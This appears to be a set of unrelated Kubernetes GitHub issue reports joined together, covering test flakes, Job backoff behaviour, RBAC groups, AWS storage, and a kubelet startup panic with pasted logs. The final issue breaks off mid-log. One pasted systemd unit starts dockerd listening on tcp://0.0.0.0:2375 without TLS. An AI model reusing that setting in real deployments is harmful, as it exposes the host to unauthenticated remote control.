@yujuhong @random-liu

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-examples/697/  failed:  k8s.io   feature:example   k8s.io  storm should create and stop zookeeper, nimbus and storm worker servers {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/examples.go:376 expected error:     < errors.errorstring | 0xc42065a040>: {         s: \ timeout while waiting for pods with labels \\\ name=storm-worker\\\  to be running\ ,     }     timeout while waiting for pods with labels \ name=storm-worker\  to be running not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/examples.go:360       previous issues for this test:  29225  33106

is this a bug report or feature request?  :\r \r  \r this feature is to be able to create a pvc where the referred secret object can be decoupled and be part of a different namespace.  this allows the pvc to be in a different namespace which can be more restrictive than that of the secret for accessing the storage backend. \r

is this a bug report or feature request?  :\r \r  \r   what happened  :\r i have noticed recently that the  parallelism  field seems to mess with the perceived  backofflimit .\r \r running a job with  backofflimit: 3  and  parallelism: 2 , i get 2 pod replicas at a time, which both fail and spawn 2 more. a total of 7 pod replicas are created in this case before the job fails due to the backofflimit :\r    \r events:\r   type     reason                age   from            message\r   ----     ------                ----  ----            -------\r   normal   successfulcreate      53s   job-controller  created pod: backoff-fail-brxks\r   normal   successfulcreate      53s   job-controller  created pod: backoff-fail-6ss6x\r   normal   successfulcreate      50s   job-controller  created pod: backoff-fail-dsj77\r   normal   successfulcreate      40s   job-controller  created pod: backoff-fail-nxww7\r   normal   successfulcreate      40s   job-controller  created pod: backoff-fail-5qfrp\r   normal   successfulcreate      30s   job-controller  created pod: backoff-fail-wjdg8\r   normal   successfulcreate      30s   job-controller  created pod: backoff-fail-mtnht\r   warning  backofflimitexceeded  10s   job-controller  job has reach the specified backoff limit\r    \r \r   what you expected to happen  :\r i would expect ~3 failed pods before the job is stopped due to hitting the  backofflimit .\r \r   how to reproduce it  as minimally and precisely as possible   :\r i am running the test job below, varying only the value for  parallelism :\r    yaml\r apiversion: batch/v1\r kind: job\r metadata:\r   name: backoff-fail\r spec:\r   backofflimit: 3\r   parallelism: 2\r   template:\r     metadata:\r       name: backoff-fail\r     spec:\r       containers:\r       - name: failing-container\r         image: ubuntu:xenial\r         command:   \ /bin/bash\   \r         args:   \ exit\ , \ 1\   \r       restartpolicy: never\r    \r \r simply  kubectl create -f backoff-fail.job.yaml  and watch for failing pods.\r \r running  kubectl describe job backoff-fail  can quickly confirm whether or not the  backofflimit  has been reached\r \r   anything else we need to know?  :\r from the above example, it appears that the actual number of replicas we should expect is approximately  parallelism   backofflimit ?\r \r is this the expected behavior? perhaps  parallelism > 1  leads to undefined behavior when specifying a  backofflimit ? it is also entirely possible that this is just me misunderstanding precisely what the  parallelism  field means at a very low level.\r \r with  backofflimit: 3  and  parallelism: 1 , i get a single pod replica at a time, which fails before creating another replicas. a total of 3 pod replicas are created in this case before the  backofflimit  is \ reach\ :\r    \r events:\r   type     reason                age   from            message\r   ----     ------                ----  ----            -------\r   normal   successfulcreate      35s   job-controller  created pod: backoff-fail-j5st2\r   normal   successfulcreate      34s   job-controller  created pod: backoff-fail-n848n\r   normal   successfulcreate      24s   job-controller  created pod: backoff-fail-gm8g5\r   warning  backofflimitexceeded  4s    job-controller  job has reach the specified backoff limit\r    \r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.8.6\r - cloud provider or hardware configuration: aws\r - os  e.g. from /etc/os-release : debian gnu/linux 8  jessie \r - kernel  e.g.  uname -a  : 4.4.111-k8s\r - install tools: cloud9 aws + kops\r - others: ??\r

hi,\r \r i think there is a wrong information in the documentation in the  kubernetes api documentation  https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.11/ list-deployment-v1-apps   this is only version 1.11 that i checked .  \r \r the  deployment  resource appears under the  apps  group but when i created a role to list deployments:  \r    \r kind: role\r apiversion: rbac.authorization.k8s.io/v1beta1\r metadata:\r   namespace: default\r   name: sa-run-pod-role\r rules:\r - apigroups:  \ apps\  \r   resources:  \ deployments\  \r   verbs:  \ get\ , \ list\  \r   resourcenames:   \r \r    \r  \r it didn't work, only when i used the  extensions  api group like that:  \r    \r kind: role\r apiversion: rbac.authorization.k8s.io/v1beta1\r metadata:\r   namespace: default\r   name: sa-run-pod-role\r rules:\r - apigroups:  \ extensions\  \r   resources:  \ deployments\  \r   verbs:  \ get\ , \ list\  \r   resourcenames:   \r    \r \r i need the documentation should be updated.  \r \r @kubernetes/sig-docs-bugs

 \r    \r  kubeadm : depends: kubernetes-cni  >= 0.6.0  but 0.5.1-00 is to be installed\r    \r \r it seems to be related with: https://github.com/kubernetes/kubernetes/issues/69489\r

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/\r -->\r \r \r   what happened  : failures like:\r    \r test/e2e/framework/framework.go:149\r unexpected error:\r     < errors.errorstring | 0xc000308d80>: {\r         s: \ watch closed before untilwithoutretry timeout\ ,\r     }\r     watch closed before untilwithoutretry timeout\r occurred\r test/e2e/framework/framework.go:220\r    \r \r https://prow.k8s.io/view/gcs/kubernetes-jenkins/logs/ci-kubernetes-kind-conformance/1112855802516869120\r \r https://testgrid.k8s.io/conformance-kind kind,%20master%20 dev \r \r   what you expected to happen  : not this! it looks like a race / flake\r \r   how to reproduce it  as minimally and precisely as possible   : run the e2e tests\r \r   anything else we need to know?  : https://github.com/kubernetes/kubernetes/pull/75835 seems suspect\r \r /cc @liggitt \r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g:  cat /etc/os-release  :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

would be very nice to have feature of lifness/readness probe based of pod logs.  for example: mark pod as unhealthy if \ started\  not appeared in the logs in the 30 sec period duting pod start.                livenessprobe:             logsreader:               stdout: true               stderr: true               regexp: \ started\                readfrom: \ bof\                findonce: true             initialdelayseconds: 100             timeoutseconds: 10      or checking some periodically log to ensure application is working                livenessprobe:             logsreader:               stdout: true               stderr: true               regexp: \ \\d  bytes received\                readfrom: \ eof\                findonce: false             initialdelayseconds: 100             checkperiod: 200             timeoutseconds: 10      thank you.

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?  :\r no\r \r \r   what keywords did you search in kubernetes issues before filing this one?  :\r aws, elb, subnets\r \r ---\r \r   is this a bug report or feature request?    choose one :\r feature request\r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r currently aws subnets need to be tagged with  kubernetescluster  to have elbs correctly include all the zones in a multi-zone cluster. this is problematic when bringing your own vpc/subnets as it is not desirable to have them tagged as part of the resources owned by k8s. i know there is work going on to create a new tagging scheme which will allow multiple clusters to be in a vpc and share resources, but i wonder why tagging is needed at all in this case since an annotation could be used:\r \r    service.beta.kubernetes.io/aws-load-balancer-subnets: \ subnet-xxxxxxxx,subnet-xxxxxxxx,subnet-xxxxxxxx\    \r \r this would allow people to stand up their cluster in an existing vpc without needing to tag their subnets, which might be dangerous when tools like kops go to delete the cluster.

is this a request for help?  \r yes\r \r i am currently working on a deployment that is using the storageclass to specify the creation of gce persistent disks. one feature we would like is to be able to replace a pod's underlying disk with a prior snapshot that might have been created of it  it seems that while this example is specific to gce this would be common amongst most providers , but i am not sure if this is possible with a storage class for dynamic provisioning.\r \r the approach i am thinking of taking right now includes deleting the pvc entirely, make a snapshot of the disk, delete the original, and make a new pvc to claim the disk -- would there be a better method than this?

 when user requests an encrypted pv in aws storage class and refers to an invalid / non-existing encryption key, then aws provisioner happily creates the pv, but the backing aws ebs volume does not exist.\r \r create class:\r    shell\r $ kubectl create -f - <<eof\r apiversion: storage.k8s.io/v1beta1\r kind: storageclass\r metadata:\r   name: fast\r provisioner: kubernetes.io/aws-ebs\r parameters:\r   type: io1\r   iopspergb: \ 50\ \r   encrypted: \ true\ \r   kmskeyid: arn:aws:kms:us-east-1:555555555555:alias/nonexistingkey\r eof\r \r storageclass \ fast\  created\r    \r \r create a pvc:\r    \r $ kubectl create -f - <<eof\r kind: persistentvolumeclaim\r apiversion: v1\r metadata:\r   name: fastclaim\r   annotations:\r     \ volume.beta.kubernetes.io/storage-class\ : \ fast\ \r spec:\r   accessmodes:\r     - readwriteonce\r   resources:\r     requests:\r       storage: 3.5gi\r eof\r \r persistentvolumeclaim \ fastclaim\  created\r    \r \r pvc is dynamically provisioned:\r    \r $ kubectl get pvc\r name        status    volume                                     capacity   accessmodes   storageclass   age\r fastclaim   bound     pvc-4dc6cf13-6000-11e7-bb6f-0e908fa925c2   4gi        rwo           fast           1m\r    \r \r but the backing aws ebs does not exist:\r    \r $ kubectl describe pv pvc-4dc6cf13-6000-11e7-bb6f-0e908fa925c2\r name:           pvc-4dc6cf13-6000-11e7-bb6f-0e908fa925c2\r labels:         failure-domain.beta.kubernetes.io/region=us-east-1\r                 failure-domain.beta.kubernetes.io/zone=us-east-1d\r annotations:    kubernetes.io/createdby=aws-ebs-dynamic-provisioner\r                 pv.kubernetes.io/bound-by-controller=yes\r                 pv.kubernetes.io/provisioned-by=kubernetes.io/aws-ebs\r storageclass:   fast\r status:         bound\r claim:          default/fastclaim\r reclaim policy: delete\r access modes:   rwo\r capacity:       4gi\r message:\r source:\r     type:       awselasticblockstore  a persistent disk resource in aws \r     volumeid:   aws://us-east-1d/vol-0655743bad08b10ed\r     fstype:     ext4\r     partition:  0\r     readonly:   false\r events:         <none>\r \r $ aws ec2 describe-volumes --volume-ids=vol-0655743bad08b10ed\r \r an error occurred  invalidvolume.notfound  when calling the describevolumes operation: the volume 'vol-0655743bad08b10ed' does not exist.\r    \r \r @kubernetes/sig-aws-misc\r @kubernetes/sig-storage-bugs

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r today there are many obstacles preventing users from setting up flexvolume on a gce cos image easily. the default flexvolume driver directory is not writable. custom mount utilities can't be installed. solutions exist for these problems but they are time-consuming to execute manually. on top of these, there are also the common flexvolume pain points such as manual driver and mount utilities installation, and manually restarting kubelet. ideally all these tasks should be automated, making it a quick and simple experience to have custom out-of-tree volume plugins.\r \r   is this a bug report or feature request?  : feature request\r \r 

is this a bug report or feature request?  :\r  \r   what happened  :\r the ingress controller stopped working in 1.7.0 because the ingress repository's vendored version kubernetes was not updated to read a new key: subnetwork name.  when the ingress controller attempted to read the configuration, the ini-style parser  gcfg  returned an error saying the key is unknown and the rest of the config was ignored.\r \r   what you expected to happen  :\r  gcfg  to ignore the unknown key/value. \r \r  /area platform/gce

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  : bug\r \r > uncomment only one, leave it on its own line: \r >\r >  >  \r \r   what happened  :\r when deploying a headless service without port definition, k8s allows it but the service gets no endpoint. \r \r   what you expected to happen  :\r like a normal clusterip service, if there is no port definition, it should be rejected.\r \r   how to reproduce it  as minimally and precisely as possible   :\r create a headless service with no port definition\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.6.6, 1.7.0\r - cloud provider or hardware configuration  : bare metal\r - os  e.g. from /etc/os-release : centos 7\r - kernel  e.g.  uname -a  : linux master 3.10.0-514.16.1.el7.x86_64  1 smp wed apr 12 15:04:24 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r - install tools: kubeadm\r - others:\r

ref https://github.com/moby/moby/issues/27978.\r \r 1  we are currently relying on docker seccomp profile format;\r 2  we are supporing docker 1.11-1.13.\r \r as cri runtime, which format should we follow? or should we support both?\r \r @yujuhong @feiskyer @mrunalp @mikebrow @timstclair \r /cc @kubernetes/sig-node-bugs @kubernetes/sig-node-api-reviews

failure cluster: https://go.k8s.io/triage 22616c08c9151a6157a1\r \r    \r /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e_node/security_context_test.go:254\r sep 20 08:21:34.986: host-networked container should listening on same port as host\r /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e_node/security_context_test.go:252\r    \r \r this is the most prevalent flake for release-blocking postsubmit kubelet builds, eg:\r -  kubelet  https://k8s-testgrid.appspot.com/release-master-blocking kubelet&exclude-non-failed-tests=&sort-by-flakiness=&width=20 \r -  kubelet-1.8  https://k8s-testgrid.appspot.com/release-1.8-blocking kubelet-1.8&exclude-non-failed-tests=&sort-by-flakiness=&width=20 \r -  kublet-1.7  https://k8s-testgrid.appspot.com/release-1.7-blocking kubelet-1.7&exclude-non-failed-tests=&sort-by-flakiness=&width=20   notably, it happens far less often here \r \r ref:  53018 we're probably going to need to ignore kubelet-1.8 for cutting a release\r \r @kubernetes/sig-node-test-failures \r \r

 \r   what happened  :\r generated names of replicasets follow a new  more consistent  pattern introduced with  51538. however, this means that the names of replicasets no longer match the  pod-template-hash  label added to replicasets and their pods.\r \r from the  workloads documentation  https://kubernetes.io/docs/concepts/workloads/controllers/deployment/ creating-a-deployment :\r > notice that the name of the replicaset is always formatted as   deployment-name - pod-template-hash-value  . the hash value is automatically generated when the deployment is created.\r \r   what you expected to happen  :\r i expected to be able to identify a replicaset's owner deployment by removing the  pod-template-hash  from its name, which the documentation suggests is possible.\r \r   how to reproduce it  as minimally and precisely as possible   :\r create a new deployment in a kubernetes 1.8.x cluster:  kubectl run my-nginx --image=nginx --replicas=2 --port=80 . compare the resulting replicaset's  .metadata.name  to its  .metadata.labels.pod-template-hash .\r \r   anything else we need to know?  :\r it seems like the pod-template-hash label now serves a distinct purpose from the generated name, and the documentation should probably be updated to not suggest they're linked. the proper way to identify parent resources seems to be to use the  .metadata.ownerreferences  array on replicasets and pods. mentioning this is the docs could be useful.\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.8.1-gke.1\r - cloud provider or hardware configuration: gke

 \r   what happened  :\r \r i have 2 node pools on gcp, one are preemtible instances, one arent. i have 2 preemptible nodes and 1 non-preemptible one. i also have a simple nginx service that is of type  nodeport . i have opened my firewall rules to have all instances open at  tcp:80;tcp:443 . i can thus access my service from the preemptible nodes ip address as expected. however, for some reason, my non-preemptible node does not route the traffic to the service, i.e it looks like it's not listening on the port.\r \r   what you expected to happen  :\r \r i would expect it to listen to the port and forward the traffic to the nginx pod  that works for the other nodes \r \r   how to reproduce it  as minimally and precisely as possible   :\r \r - create 2 node pools, one preemtible, one not\r - create a simple nginx nodeport service\r - try to access the service from all nodes\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.87\r - cloud provider or hardware configuration: gcp\r - os  e.g. from /etc/os-release : coreos\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r   >  \r \r   what happened  :\r according to the  reconfigure a node's kubelet in a live cluster  https://kubernetes.io/docs/tasks/administer-cluster/reconfigure-kubelet/  page, we can use /configz to fetch the whole config of kubelet. the question is, this api just reports 404 in 1.10 release which works fine in 1.8 in my setup.\r \r   what you expected to happen  :\r is it not supported any more in the 1.10 release? or just something wrong with my setup?\r \r   how to reproduce it  as minimally and precisely as possible   :\r try this command in this page:\r curl -ssl http://localhost:8001/api/v1/proxy/nodes/${node_name}/configz\r and it returns as follow:\r {\r   \ kind\ : \ status\ ,\r   \ apiversion\ : \ v1\ ,\r   \ metadata\ : {\r \r   },\r   \ status\ : \ failure\ ,\r   \ message\ : \ the server could not find the requested resource\ ,\r   \ reason\ : \ notfound\ ,\r   \ details\ : {\r \r   },\r   \ code\ : 404\r }\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.0\ , gitcommit:\ fc32d2f3698e36b93322a3465f63a14e9f0eaead\ , gittreestate:\ clean\ , builddate:\ 2018-03-26t16:55:54z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.0\ , gitcommit:\ fc32d2f3698e36b93322a3465f63a14e9f0eaead\ , gittreestate:\ clean\ , builddate:\ 2018-03-26t16:44:10z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r - cloud provider or hardware configuration: bare metal\r - os  e.g. from /etc/os-release : \r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r 

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r >   \r \r   what happened  :\r don't support aws zhy region in china. endpoint is \ cn-northwest-1\ \r   what you expected to happen  :\r add support\r   how to reproduce it  as minimally and precisely as possible   :\r deploy k8s in zhy region.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :v1.9.3\r - cloud provider or hardware configuration:aws\r - os  e.g. from /etc/os-release :debian\r - kernel  e.g.  uname -a  :\r - install tools:kops\r - others:\r

i run my app in kubernetes with helm, everything fine in my evnrinoment.\r but a sstrage event happened  in my customer evnrionment .\r \r 1. i have some deployment and one statefulsets\r 2. i deploy postgresql use https://github.com/helm/charts/tree/master/stable/postgresql, and run only one pod   postgresql-0 \r 3. my deployment pod 1 connect postgresql use psql only need a few millisecond.\r 4. my statefulset pod1 connect postgresql use psql need more than 10 seconds.\r 5. now only one master  no schedule  and  one nodes. all my pods run in the same node.i think they are using docker0 brige ?\r 6. i use flannel.\r \r   what the diffrenent between deployments pod network and statefules pod network ?\r why the same connnect command have so different cost ?\r how can i fix it ?  \r \r \r   environment  :\r - kubernetes version  use  kubectl version  :  v1.12.1\r - cloud provider or hardware configuration:  \r - os  e.g. from /etc/os-release : centos 7.6\r - kernel  e.g.  uname -a  : \r - install tools: kubeadm\r - others:\r

which jobs are failing  :\r    verify-master  https://testgrid.k8s.io/sig-release-master-blocking verify-master \r \r   which test s  are failing  :\r \r job | test | reason for failure\r --- | --- | ---\r  verify-master  https://testgrid.k8s.io/sig-release-master-blocking verify-master  |  verify.godeps  https://gubernator.k8s.io/build/kubernetes-jenkins/logs/ci-kubernetes-verify-master/26819  |  your vendored results are different: diff -naupr -x build -x 'authors ' -x 'contributors ' vendor/k8s.io/kube-aggregator/pkg/apis/apiregistration/v1/generated.proto /tmp/gopath.fjrjh3/src/k8s.io/kubernetes/vendor/k8s.io/kube-aggregator/pkg/apis/apiregistration/v1/generated.proto \r  verify-master  https://testgrid.k8s.io/sig-release-master-blocking verify-master  |   verify.staging-godeps  https://gubernator.k8s.io/build/kubernetes-jenkins/logs/ci-kubernetes-verify-master/26819   |  unexpected dirty working directory \r \r   since when has it been failing  :\r 2019-02-11\r \r   anything else we need to know  :\r \r    verify.godeps  started failing with commit  f7c4389b7  https://github.com/kubernetes/kubernetes/commit/f7c4389b7 \r    verify.staging-godeps  started failing with commit  805a9e703  https://github.com/kubernetes/kubernetes/commit/805a9e703 \r \r cc @mortent @kacole2 @alejandrox1 @mariantalla\r \r  / 

on gce, we have been seeing occasional flakes caused by failing the create the podsandbox. the error message usually shows \ element not found\ \r \r example:\r    \r mar 15 22:21:25.309: info: at 2019-03-15 22:16:14 +0000 utc - event for pod-configmaps-f27c8d25-476f-11e9-9871-a605168c5ad3: {default-scheduler } scheduled: successfully assigned configmap-4540/pod-configmaps-f27c8d25-476f-11e9-9871-a605168c5ad3 to e2e-72-a4c99-windows-node-group-r3pv\r mar 15 22:21:25.310: info: at 2019-03-15 22:16:35 +0000 utc - event for pod-configmaps-f27c8d25-476f-11e9-9871-a605168c5ad3: {kubelet e2e-72-a4c99-windows-node-group-r3pv} failedcreatepodsandbox: failed create pod sandbox: rpc error: code = unknown desc =  failed to set up sandbox container \ 09370920b7a896b81560cbedc127a629621c5cdb5d53e1c504af4a181d8869a4\  network for pod \ pod-configmaps-f27c8d25-476f-11e9-9871-a605168c5ad3\ : networkplugin cni failed to set up pod \ pod-configmaps-f27c8d25-476f-11e9-9871-a605168c5ad3_configmap-4540\  network: error while provisionendpoint 09370920b7a896b81560cbedc127a629621c5cdb5d53e1c504af4a181d8869a4_l2bridge,990998df-0cad-4f52-b347-1961d26c3f85,09370920b7a896b81560cbedc127a629621c5cdb5d53e1c504af4a181d8869a4 : element not found., failed to clean up sandbox container \ 09370920b7a896b81560cbedc127a629621c5cdb5d53e1c504af4a181d8869a4\  network for pod \ pod-configmaps-f27c8d25-476f-11e9-9871-a605168c5ad3\ : networkplugin cni failed to teardown pod \ pod-configmaps-f27c8d25-476f-11e9-9871-a605168c5ad3_configmap-4540\  network: failed to find hnsendpoint 09370920b7a896b81560cbedc127a629621c5cdb5d53e1c504af4a181d8869a4_l2bridge: endpoint 09370920b7a896b81560cbedc127a629621c5cdb5d53e1c504af4a181d8869a4_l2bridge not found \r    \r \r i believe we are using a patched win-bridge cni plugin from https://github.com/nagiesek/plugins/tree/k8sdnsfix/plugins/main/windows/win-bridge \r @pjh please correct me if i'm wrong.\r \r - os: windows 1809\r - docker: 18.09.2\r \r this is the cause of the majority of flakes in our test job.\r \r

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/\r -->\r \r \r    what happened:\r kubelet panic during startup after i add  etcd-configuration  https://kubernetes.io/docs/setup/independent/setup-ha-etcd-with-kubeadm/ setting-up-the-cluster  as follow:\r \r    \r  service \r execstart=\r execstart=/usr/bin/kubelet --cgroup-driver=systemd --address=127.0.0.1 --pod-manifest-path=/etc/kubernetes/manifests --allow-privileged=true --runtime-cgroups=/lib/systemd/system/kubelet.service --kubelet-cgroups=/lib/systemd/system/kubelet.service\r restart=always\r    \r \r    environment:\r \r      kubectl && docker version\r    \r root@kube-controller-1:/sys/fs/cgroup/pids/system.slice  kubectl version\r client version: version.info{major:\ 1\ , minor:\ 14\ , gitversion:\ v1.14.1\ , gitcommit:\ b7394102d6ef778017f2ca4046abbaa23b88c290\ , gittreestate:\ clean\ , builddate:\ 2019-04-08t17:11:31z\ , goversion:\ go1.12.1\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r the connection to the server localhost:8080 was refused - did you specify the right host or port?\r \r root@kube-controller-1:/sys/fs/cgroup/pids/system.slice  docker version\r client:\r  version:           18.09.4\r  api version:       1.39\r  go version:        go1.10.8\r  git commit:        d14af54\r  built:             wed mar 27 18:34:51 2019\r  os/arch:           linux/amd64\r  experimental:      false\r \r server: docker engine - community\r  engine:\r   version:          18.09.4\r   api version:      1.39  minimum version 1.12 \r   go version:       go1.10.8\r   git commit:       d14af54\r   built:            wed mar 27 18:01:48 2019\r   os/arch:          linux/amd64\r   experimental:     false\r    \r \r      cloud provider or hardware configuration:\r \r https://cloud.tencent.com/\r \r     os && kernel:\r \r    \r root@kube-controller-1:/sys/fs/cgroup/pids/system.slice  cat /etc/os-release\r name=\ ubuntu\ \r version=\ 16.04.1 lts  xenial xerus \ \r id=ubuntu\r id_like=debian\r pretty_name=\ ubuntu 16.04.1 lts\ \r version_id=\ 16.04\ \r home_url=\ http://www.ubuntu.com/\ \r support_url=\ http://help.ubuntu.com/\ \r bug_report_url=\ http://bugs.launchpad.net/ubuntu/\ \r ubuntu_codename=xenial\r \r root@kube-controller-1:/sys/fs/cgroup/pids/system.slice  uname -a\r linux kube-controller-1 4.4.0-130-generic  156-ubuntu smp thu jun 14 08:53:28 utc 2018 x86_64 x86_64 x86_64 gnu/linux\r    \r \r      docker systemctl message:\r \r    \r root@kube-controller-1:/sys/fs/cgroup/pids/system.slice  systemctl cat docker\r   /lib/systemd/system/docker.service\r  unit \r description=docker application container engine\r documentation=https://docs.docker.com\r bindsto=containerd.service\r after=network-online.target firewalld.service containerd.service\r wants=network-online.target\r requires=docker.socket\r \r  service \r type=notify\r   the default is not to use systemd for cgroups because the delegate issues still\r   exists and systemd currently does not support the cgroup feature set required\r   for containers run by docker\r execstart=/usr/bin/dockerd -h unix:///var/run/docker.sock -h tcp://0.0.0.0:2375 --insecure-registry=docker-registry.coding.net -g /data/docker\r \r execreload=/bin/kill -s hup $mainpid\r timeoutsec=0\r restartsec=2\r restart=always\r \r   note that startlimit  options were moved from \ service\  to \ unit\  in systemd 229.\r   both the old, and new location are accepted by systemd 229 and up, so using the old location\r   to make them work for either version of systemd.\r startlimitburst=3\r \r   note that startlimitinterval was renamed to startlimitintervalsec in systemd 230.\r   both the old, and new name are accepted by systemd 230 and up, so using the old name to make\r   this option work for either version of systemd.\r startlimitinterval=60s\r \r   having non-zero limit s causes performance problems due to accounting overhead\r   in the kernel. we recommend using cgroups to do container-local accounting.\r limitnofile=infinity\r limitnproc=infinity\r limitcore=infinity\r \r   comment tasksmax if your systemd version does not supports it.\r   only systemd 226 and above support this option.\r tasksmax=infinity\r \r   set delegate yes so that systemd does not reset the cgroups of docker containers\r delegate=yes\r \r   kill only the docker process, not all processes in the cgroup\r killmode=process\r \r  install \r wantedby=multi-user.target\r    \r \r     command line\r    \r /usr/bin/kubelet --cgroup-driver=systemd --address=127.0.0.1 --pod-manifest-path=/etc/kubernetes/manifests --allow-privileged=true --runtime-cgroups=/lib/systemd/system/kubelet.service --kubelet-cgroups=/lib/systemd/system/kubelet.service -v 256\r    \r \r     docker log\r \r    \r root@kube-controller-1:/sys/fs/cgroup/pids/system.slice  journalctl -xu docker\r -- logs begin at thu 2019-04-11 10:12:17 cst, end at thu 2019-04-11 15:08:01 cst. --\r apr 11 10:15:42 kube-controller-1 systemd 1 : starting docker application container engine...\r -- subject: unit docker.service has begun start-up\r -- defined-by: systemd\r -- support: http://lists.freedesktop.org/mailman/listinfo/systemd-devel\r --\r -- unit docker.service has begun starting up.\r apr 11 10:15:42 kube-controller-1 dockerd 5261 : time=\ 2019-04-11t10:15:42.763031464+08:00\  level=info msg=\ parsed scheme: \\\ unix\\\ \  module=grpc\r apr 11 10:15:42 kube-controller-1 dockerd 5261 : time=\ 2019-04-11t10:15:42.763141220+08:00\  level=info msg=\ scheme \\\ unix\\\  not registered, fallback to default scheme\  module=grpc\r apr 11 10:15:42 kube-controller-1 dockerd 5261 : time=\ 2019-04-11t10:15:42.763248340+08:00\  level=info msg=\ parsed scheme: \\\ unix\\\ \  module=grpc\r apr 11 10:15:42 kube-controller-1 dockerd 5261 : time=\ 2019-04-11t10:15:42.763262914+08:00\  level=info msg=\ scheme \\\ unix\\\  not registered, fallback to default scheme\  module=grpc\r apr 11 10:15:42 kube-controller-1 dockerd 5261 : time=\ 2019-04-11t10:15:42.763344611+08:00\  level=info msg=\ ccresolverwrapper: sending new addresses to cc:  {unix:///run/containerd/containerd.sock 0  <nil>} \  module=grpc\r apr 11 10:15:42 kube-controller-1 dockerd 5261 : time=\ 2019-04-11t10:15:42.763376505+08:00\  level=info msg=\ clientconn switching balancer to \\\ pick_first\\\ \  module=grpc\r apr 11 10:15:42 kube-controller-1 dockerd 5261 : time=\ 2019-04-11t10:15:42.763438147+08:00\  level=info msg=\ pickfirstbalancer: handlesubconnstatechange: 0xc4201ad080, connecting\  module=grpc\r apr 11 10:15:42 kube-controller-1 dockerd 5261 : time=\ 2019-04-11t10:15:42.764175522+08:00\  level=info msg=\ pickfirstbalancer: handlesubconnstatechange: 0xc4201ad080, ready\  module=grpc\r apr 11 10:15:42 kube-controller-1 dockerd 5261 : time=\ 2019-04-11t10:15:42.764556425+08:00\  level=info msg=\ ccresolverwrapper: sending new addresses to cc:  {unix:///run/containerd/containerd.sock 0  <nil>} \  module=grpc\r apr 11 10:15:42 kube-controller-1 dockerd 5261 : time=\ 2019-04-11t10:15:42.764642664+08:00\  level=info msg=\ clientconn switching balancer to \\\ pick_first\\\ \  module=grpc\r apr 11 10:15:42 kube-controller-1 dockerd 5261 : time=\ 2019-04-11t10:15:42.764712064+08:00\  level=info msg=\ pickfirstbalancer: handlesubconnstatechange: 0xc42099c080, connecting\  module=grpc\r apr 11 10:15:42 kube-controller-1 dockerd 5261 : time=\ 2019-04-11t10:15:42.765044549+08:00\  level=info msg=\ pickfirstbalancer: handlesubconnstatechange: 0xc42099c080, ready\  module=grpc\r apr 11 10:15:42 kube-controller-1 dockerd 5261 : time=\ 2019-04-11t10:15:42.818452999+08:00\  level=info msg=\ graph migration to content-addressability took 0.00 seconds\ \r apr 11 10:15:42 kube-controller-1 dockerd 5261 : time=\ 2019-04-11t10:15:42.818829330+08:00\  level=warning msg=\ your kernel does not support swap memory limit\ \r apr 11 10:15:42 kube-controller-1 dockerd 5261 : time=\ 2019-04-11t10:15:42.819003905+08:00\  level=warning msg=\ your kernel does not support cgroup rt period\ \r apr 11 10:15:42 kube-controller-1 dockerd 5261 : time=\ 2019-04-11t10:15:42.819026944+08:00\  level=warning msg=\ your kernel does not support cgroup rt runtime\ \r apr 11 